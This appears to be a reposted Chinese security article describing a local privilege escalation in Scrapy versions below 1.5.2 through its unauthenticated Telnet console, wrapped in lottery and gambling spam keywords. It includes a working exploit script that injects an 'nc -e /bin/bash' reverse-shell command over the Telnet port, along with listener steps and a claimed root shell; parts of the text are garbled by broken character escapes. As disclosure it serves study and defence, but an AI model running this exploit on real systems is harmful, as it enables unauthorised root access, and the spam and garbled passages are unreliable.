手机上怎么买彩票双色球 微信上有人推荐买彩票 能合买彩票的平台 夫妻买彩票狂中30亿 买彩票心态 买彩票就买大乐透开奖结果 哪个平台买彩票安全吗 买彩票有买一个号的吗 怎么看走势图买彩票 如何在电脑上买彩票 美国几岁可以买彩票? 福彩工作人员买彩票 彩客网买彩票 能在微信上买彩票吗 怎么买彩票容易中

网络爬虫暗藏杀机:在Scrapy中利用Telnet服务LPE

来源:本站整理 作者:佚名 时间:2019-07-08 TAG: 我要投稿

网络抓取框架中使用最多的莫过于是scrapy,然而我们是否考虑过这个框架是否存在漏洞妮?5年前曾经在scrapy中爆出过XXE漏洞,然而这次我们发现的漏洞是一个LPE。
通过该漏洞可以获得shell,本文中暴露的漏洞会产生影响scrapy低于1.5.2的版本。
0×01 环境搭建
Kali?#20302;?br/> Scrapy(v1.5.1)[https://github.com/scrapy/scrapy/releases]
下载压缩包scrapy-1.5.1.zip,然后进行解压执行安装:
Python3 setup.py install
如果安装报错,记得安装python3的pip,然后输入pip3 install Twisted 安装完Twisted模块,再次Python3 setup.py install 就可以完成安装。
0×02 漏洞分析过程
Scrapy很容易上手,就如同在官网主页上看到的一样容易,可以快速的写一个蜘蛛爬虫。然后再运行的时候我们可以看到会启动的扩展和一些选项信息,我们可以清楚的看到默认它会启动telnet服务。

然后这个telnet会监听本地的6023端口。
开启telnet的原因是方便调试,那么如果有人访问了这个telnet是不是可以获得一些有趣的东西,而且该控制台会不会在没有任何身份验证的情况下可用然后任何本地用户都可以连接到端口并在运行蜘蛛的用户情况下执行命令,那么是不是会造?#26432;?#22320;权限提升(LPE)。
复现LPE
这种利用需要满足两个条件:
1. 开发可以访问?#20302;?br/> 2. 有一个蜘蛛在运行并暴露了telnet服务。以下蜘蛛符合此要求,进行初始请求,然后因download_delay设置而空转
telnet_test.py
import scrapy
from scrapy.http import Request
class TelnetWaitingSpider(scrapy.Spider):
    name = "telnet_waiting"
    allowed_domains = ["example.org"]
    start_urls = ["http://www.example.org"]
    download_delay = 1000
    def parse(self, _):
        yield Request(url="http://www.example.org/")
我们然后再写一个利用的exp:
exp.py:
import telnetlib
rs = "nc.traditional -e /bin/bash localhost 4444"
tn = telnetlib.Telnet("localhost", 6023)
tn.write(f"import os; os.system('{rs}')".encode("ascii") + b"\n")
Exp.py它定义了一个反向shell,连接到telnet服务并发送一行来使用Python执行反向shell os.system。
操作流程
先使用root账户调用Scrapy去运行telnet_test.py,然后通过su调用两个低权限账号,一个负责接收nc反弹shell,一个负责执行exp.py,然后运行telnet_test的时候执行exp.py。

 
先使用nc -lvp 4444 监听4444端口;
运行指令:scrapy runspider telnet_test.py;
然后运行的时候 python3 exp.py;
然后获取反弹shell(发现是root)。

成功复现了一个LPE(本地权限提升)。
0×03总结
信息安全的本质是信任问题,当我们使用了框架就代表我们信任了这个框架,如果框架的安全性?#27426;?#20854;进行检测,那么所带来的是毁灭性的结果。
 

【声明】:黑吧安全网(http://www.rliwo.live)登载此文出于传递更多信息之目的,并不代表本站赞同其观点?#25237;?#20854;真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱[email protected],我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载
        购买彩票权威网址
        手机上怎么买彩票双色球 微信上有人推荐买彩票 能合买彩票的平台 夫妻买彩票狂中30亿 买彩票心态 买彩票就买大乐透开奖结果 哪个平台买彩票安全吗 买彩票有买一个号的吗 怎么看走势图买彩票 如何在电脑上买彩票 美国几岁可以买彩票? 福彩工作人员买彩票 彩客网买彩票 能在微信上买彩票吗 怎么买彩票容易中
        布莱顿球队阵容 2019寻仙手游平民玩什么职业 重庆时时彩计划免费群 卡利亚里vsac米兰 4.3雷霆vs灰熊 凯萨帝国电子 广东十一选五技巧有哪些 探灵笔记胜利条件介绍 幸运狮子闯关 逆战自动刷猎场